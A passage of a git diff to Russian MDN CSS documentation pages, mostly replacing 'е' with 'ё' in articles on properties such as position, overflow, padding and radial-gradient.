страницы.</p> -<p>Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим <a href="https://www.w3.org/WAI/intro/wcag">Рекомендациям по доступности веб-контента (WCAG)</a>, для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">жирный</a> или крупнее, или 24px или выше.</p> +<p>Коэффициент цветовой контрастности определяется путём сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим <a href="https://www.w3.org/WAI/intro/wcag">Рекомендациям по доступности веб-контента (WCAG)</a>, для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">жирный</a> или крупнее, или 24px или выше.</p> <ul> <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li> diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html index a9265b81c8..783af7d5b6 100644 --- a/files/ru/web/css/order/index.html +++ b/files/ru/web/css/order/index.html @@ -55,7 +55,7 @@ order: unset;</pre> </main> <footer>...</footer></pre> -<p>Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.</p> +<p>Следующий CSS код должен создать классический блок контента окружённый боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.</p> <pre class="brush:css;">main { display: flex; text-align:center; } main > article { flex:1; order: 2; } diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html index d6c5385e17..b279776262 100644 --- a/files/ru/web/css/orphans/index.html +++ b/files/ru/web/css/orphans/index.html @@ -2,7 +2,7 @@ title: orphans slug: Web/CSS/orphans tags: - - Верстка + - Вёрстка - печать - разрыв страницы - фрагментация diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html index ead0067598..2756cb66f9 100644 --- a/files/ru/web/css/overflow-block/index.html +++ b/files/ru/web/css/overflow-block/index.html @@ -31,7 +31,7 @@ overflow-block: unset; <dl> <dt><code>visible</code></dt> - <dd>Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.</dd> + <dd>Содержимое не обрезается и может отображаться за пределами начального и конечного краёв блока отступа.</dd> <dt><code>hidden</code></dt> <dd>При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.</dd> <dt><code>scroll</code></dt> diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html index fda01d4824..8c5409417a 100644 --- a/files/ru/web/css/overflow-wrap/index.html +++ b/files/ru/web/css/overflow-wrap/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/overflow-wrap <p class="hidden">Исходники для интерактивных примеров хранятся в GitHub репозитории. Если вы хотите поучаствовать в проекте с примерами, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам пул реквест.</p> <div class="note"> -<p><strong>Note:</strong> В отличие от {{cssxref("word-break")}}, <code>overflow-wrap</code> создает перенос только, если целое слово не может быть размещено на своей линии без переполнения</p> +<p><strong>Note:</strong> В отличие от {{cssxref("word-break")}}, <code>overflow-wrap</code> создаёт перенос только, если целое слово не может быть размещено на своей линии без переполнения</p> </div> <p>Изначально свойство <code>word-wrap</code> не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в <code>overflow-wrap</code> c алиасом <code>word-wrap</code>.</p> @@ -30,7 +30,7 @@ overflow-wrap: initial; overflow-wrap: unset; </pre> -<p>Свойство <code>overflow-wrap</code> задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:</p> +<p>Свойство <code>overflow-wrap</code> задаётся с помощью ключевого слова и выбирается из списка значений приведённых ниже:</p> <h3 id="Values">Values</h3> diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html index 58a572c013..00bac1115d 100644 --- a/files/ru/web/css/overflow/index.html +++ b/files/ru/web/css/overflow/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/overflow <p>Свойство CSS <code>overflow</code> определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.</p> -<p>Использование свойства <code>overflow</code> со значениями, отличными от <code>visible</code>, (значение, принятое по умолчанию), создаёт новый <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">блочный контекст форматирования</a>. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута <code>scrollTop</code> для соответствующего HTML-элемента, даже если <code>overflow</code> имеет значение <code>hidden</code>, элемент, возможно, придется прокрутить.</p> +<p>Использование свойства <code>overflow</code> со значениями, отличными от <code>visible</code>, (значение, принятое по умолчанию), создаёт новый <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">блочный контекст форматирования</a>. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута <code>scrollTop</code> для соответствующего HTML-элемента, даже если <code>overflow</code> имеет значение <code>hidden</code>, элемент, возможно, придётся прокрутить.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html index acdb9c8c05..58377262db 100644 --- a/files/ru/web/css/overscroll-behavior/index.html +++ b/files/ru/web/css/overscroll-behavior/index.html @@ -23,7 +23,7 @@ overflow: initial; overflow: unset; </pre> -<p>По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called <strong>scroll chaining</strong>.</p> +<p>По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение её верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called <strong>scroll chaining</strong>.</p> <p>In some cases these behaviors are not desirable. you can use <code>overscroll-behavior</code> to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.</p> diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html index 0e4c4a28ed..f669f782d3 100644 --- a/files/ru/web/css/padding-left/index.html +++ b/files/ru/web/css/padding-left/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/padding-left <p>Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.</p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.</p> +<p><strong>Примечание:</strong> Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырёх сторонах элемента одним значением.</p> </div> <h2 id="Syntax" name="Syntax"><font><font>Синтаксис</font></font></h2> diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html index 8ab7697255..d299d9dbf2 100644 --- a/files/ru/web/css/padding/index.html +++ b/files/ru/web/css/padding/index.html @@ -49,7 +49,7 @@ padding: unset; </dl> <ul> - <li><strong>Одно</strong> значение применяется ко всем четырем сторонам</li> + <li><strong>Одно</strong> значение применяется ко всем четырём сторонам</li> <li><strong>Два</strong> значения применяются: <strong>1.</strong> <em>верхняя и нижняя</em> и <strong>2.</strong> <em>левая и правая</em> стороны</li> <li><strong>Три</strong> значения применяются: <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>левая и правая</em> и <strong>3.</strong> <em>нижняя</em> стороны</li> <li><strong>Четыре</strong> значения применяются<strong>:</strong> <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>правая</em>, <strong>3.</strong> <em>нижняя</em> и <strong>4.</strong> <em>левая</em> стороны</li> diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html index c2bcbbf9bf..36f95f78c2 100644 --- a/files/ru/web/css/paint-order/index.html +++ b/files/ru/web/css/paint-order/index.html @@ -27,7 +27,7 @@ paint-order: markers stroke fill; /* отрисовывает маркеры, з <p>Если значение не указано, значением по умолчанию является следующий порядок <code>fill</code>, <code>stroke</code>, <code>markers</code>.</p> -<p>Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.</p> +<p>Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределённое значение.</p> <div class="note"> <p><strong>Примечание</strong>: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств <code>marker-*</code> (например <code><a href="/en-US/docs/Web/SVG/Attribute/marker-start">marker-start</a></code>) и элемента <code><a href="/en-US/docs/Web/SVG/Element/marker"><marker></a></code>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок <code>stroke</code> и <code>fill</code>.</p> diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html index b0d1d14fc1..015f838b1e 100644 --- a/files/ru/web/css/perspective/index.html +++ b/files/ru/web/css/perspective/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/perspective <p><em><code>Точка схождения </code></em><code>по умолчанию расположена в центре элемента, но её можно переместить используя свойство </code>{{ cssxref("perspective-origin") }}.</p> -<p>При использовании данного свойства со значениями отличными от 0 или none создается новый <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p> +<p>При использовании данного свойства со значениями отличными от 0 или none создаётся новый <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html index 2c12b8b291..b6a95a4f4a 100644 --- a/files/ru/web/css/pointer-events/index.html +++ b/files/ru/web/css/pointer-events/index.html @@ -91,7 +91,7 @@ img { <h2 id="Примечание">Примечание</h2> -<p>Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши, с помощью <code>pointer-events</code> не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из дочерних элементов есть явные <code>pointer-events,</code> позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).</p> +<p>Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши, с помощью <code>pointer-events</code> не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из дочерних элементов есть явные <code>pointer-events,</code> позволяющие этому ребёнку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребёнком, ни родителем (он пройдёт через «родительский» на «цели» под ним).</p> <p>Мы хотели бы предоставить более тонкий контроль (а не только <code>auto</code> и <code>none</code>) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить <code>pointer-events</code> для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">этой странице вики</a> (не беспокойтесь, мы всё сохраним аккуратно). </p> diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html index 3baa0548f0..fb6002c2fb 100644 --- a/files/ru/web/css/position/index.html +++ b/files/ru/web/css/position/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/position <li><strong>Элемент с липкой позицией</strong> — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} <code>position</code> является <code>sticky</code>. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от <code>auto</code>) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.</li> </ul> -<p>В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в <code>auto</code>, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , <code>auto</code>). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как <code>auto</code>.</p> +<p>В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в <code>auto</code>, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределённым (то есть , <code>auto</code>). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как <code>auto</code>.</p> <p>За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):</p> @@ -39,19 +39,19 @@ translation_of: Web/CSS/position <dl> <dt><code>static</code></dt> - <dd>Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> и <code>z-index</code> <em>не применяются</em> к данному элементу. Это значение по умолчанию.</dd> + <dd>Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своём месте в документе. Свойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> и <code>z-index</code> <em>не применяются</em> к данному элементу. Это значение по умолчанию.</dd> <dt><code>relative</code></dt> <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается <em>относительно себя</em> на основе значений <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была <code>static</code>.</dd> - <dd>Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Его влияние на элементы <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> и <code>table-caption</code> не определено.</dd> + <dd>Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Его влияние на элементы <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> и <code>table-caption</code> не определено.</dd> <dt><code>absolute</code></dt> - <dd>Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>.</dd> + <dd>Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создаётся пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>.</dd> <dd>Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.</dd> <dt><code>fixed</code></dt> - <dd>Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство <code>transform</code>, <code>perspective</code>, или <code>filter</code>, установленное на что-то иное, кроме <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с <code>perspective</code> и <code>filter</code>, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>.</dd> - <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на <em>каждой странице</em>.</dd> + <dd>Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создаётся пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство <code>transform</code>, <code>perspective</code>, или <code>filter</code>, установленное на что-то иное, кроме <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), и в этом случае этот предок ведёт себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с <code>perspective</code> и <code>filter</code>, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>.</dd> + <dd>Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на <em>каждой странице</em>.</dd> <dt><code>sticky</code></dt> <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего <em>прокручивающего предка</em> и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>. Смещение не влияет на положение любых других элементов.</dd> - <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при <code>overflow</code> равном <code>hidden</code>, <code>scroll</code>, <code>auto</code> или <code>overlay</code>), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd> + <dd>Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при <code>overflow</code> равном <code>hidden</code>, <code>scroll</code>, <code>auto</code> или <code>overlay</code>), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -62,7 +62,7 @@ translation_of: Web/CSS/position <h3 id="Relative_positioning" name="Relative_positioning">Относительное позиционирование</h3> -<p>Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.</p> +<p>Относительно позиционированные элементы смещены на определённую величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведённом ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.</p> <h4 id="HTML">HTML</h4> @@ -134,7 +134,7 @@ span { <h3 id="Fixed_positioning" name="Fixed_positioning">Фиксированное позиционирование</h3> -<p>Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было <code>transform</code>, <code>perspective</code>, или свойства <code>filter</code>, отличное от <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c <code>id="one"</code> фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.</p> +<p>Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было <code>transform</code>, <code>perspective</code>, или свойства <code>filter</code>, отличное от <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остаётся в том же положении независимо от прокрутки. В приведённом ниже примере окно c <code>id="one"</code> фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.</p> <h4 id="HTML_2">HTML</h4> @@ -196,7 +196,7 @@ span { <h3 id="Sticky_positioning" name="Sticky_positioning">Липкое позиционирование</h3> -<p>Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...</p> +<p>Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечёт заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...</p> <pre class="brush: css">#one { position: sticky; top: 10px; }</pre> @@ -322,6 +322,6 @@ dd + dd { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check outand send us a pull request.<br> -Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.position")}}</p> diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html index efd1cd0d57..297ef580c4 100644 --- a/files/ru/web/css/radial-gradient()/index.html +++ b/files/ru/web/css/radial-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/radial-gradient() --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создаёт картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.</p> <div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div> @@ -19,16 +19,16 @@ translation_of: Web/CSS/radial-gradient() <h2 id="Композиция_свойства">Композиция свойства</h2> -<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Радиальный градиент задается <em>позицией центра</em>, <em>конечной формой</em>, и двумя или более <em>точками изменения цвета</em>.</p> +<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Радиальный градиент задаётся <em>позицией центра</em>, <em>конечной формой</em>, и двумя или более <em>точками изменения цвета</em>.</p> <p>Чтобы создать плавный градиент, функция <code>radial-gradient()</code> рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.</p> -<p>Точки изменения цвета расположены на <em>виртуальном луче градиента</em>, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является <code>100%</code>. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.</p> +<p>Точки изменения цвета расположены на <em>виртуальном луче градиента</em>, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является <code>100%</code>. Цвет каждой такой формы задаётся цветом на пересечении луча градиента и этой формы.</p> <h2 id="Синтаксис">Синтаксис</h2> <pre class="brush: css no-line-numbers notranslate">/* Градиент в центре контейнера, - переход от красного к синему и после к зеленому */ + переход от красного к синему и после к зелёному */ radial-gradient(circle at center, red 0, blue, green 100%)</pre> <h3 id="Параметры">Параметры</h3> @@ -108,7 +108,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre> <p>{{EmbedLiveSample('Простой_градиент', 120, 120)}}</p> -<h3 id="Градиент_со_смещенным_центром">Градиент со смещенным центром</h3> +<h3 id="Градиент_со_смещённым_центром">Градиент со смещённым центром</h3> <div class="hidden"> <pre class="brush: html notranslate"><div class="radial-gradient"></div> @@ -125,7 +125,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre> #f35 0%, #43e 100%); }</pre> -<p>{{EmbedLiveSample('Градиент_со_смещенным_центром', 240, 120)}}</p> +<p>{{EmbedLiveSample('Градиент_со_смещённым_центром', 240, 120)}}</p> <div class="note"> <p><strong>Заметка:</strong> Дополнительные примеры можно найти в <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS градиентов</a>.</p> diff --git a/files/ru/web/css/ratio/index.html b/files/ru/web/css/ratio/index.html index aa1e0f260e..b916f8e580 100644 --- a/files/ru/web/css/ratio/index.html +++ b/files/ru/web/css/ratio/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/ratio <td><img alt="Ratio1_1.85.png" src="/@api/deki/files/5712/=Ratio1_1.85.png"></td> <td><code>185/100</code> = <code>91/50</code><br> <em>(нецелые делимые и делители не допускаются)</em></td> - <td>Наиболее распространенный видео-формат в 1960-х.</td> + <td>Наиболее распространённый видео-формат в 1960-х.</td> </tr> <tr> <td><img alt="Ratio1_2.39.png" src="/@api/deki/files/5713/=Ratio1_2.39.png"></td> diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html index 507cc1fa72..36869289dc 100644 --- a/files/ru/web/css/reference/index.html +++ b/files/ru/web/css/reference/index.html @@ -160,7 +160,7 @@ div.menu-bar li:hover > ul { display: block; } <li><a href="/ru/docs/Web/CSS/box_model">Box-модель</a></li> <li><a href="/ru/docs/Web/CSS/Replaced_element">Замещаемый элемент</a></li> <li><a href="/ru/docs/Web/CSS/Value_definition_syntax">Синтаксис определения значений</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Сокращенные свойства</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Сокращённые свойства</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Объединение отступов</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Модель визуального форматирования</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_mode">Слои</a></li> diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html index e7dc20f24e..c3160fb98a 100644 --- a/files/ru/web/css/repeating-linear-gradient()/index.html +++ b/files/ru/web/css/repeating-linear-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/repeating-linear-gradient() --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создаёт изображение состоящее из повторяющихся линейных градиентов. Она схожа с 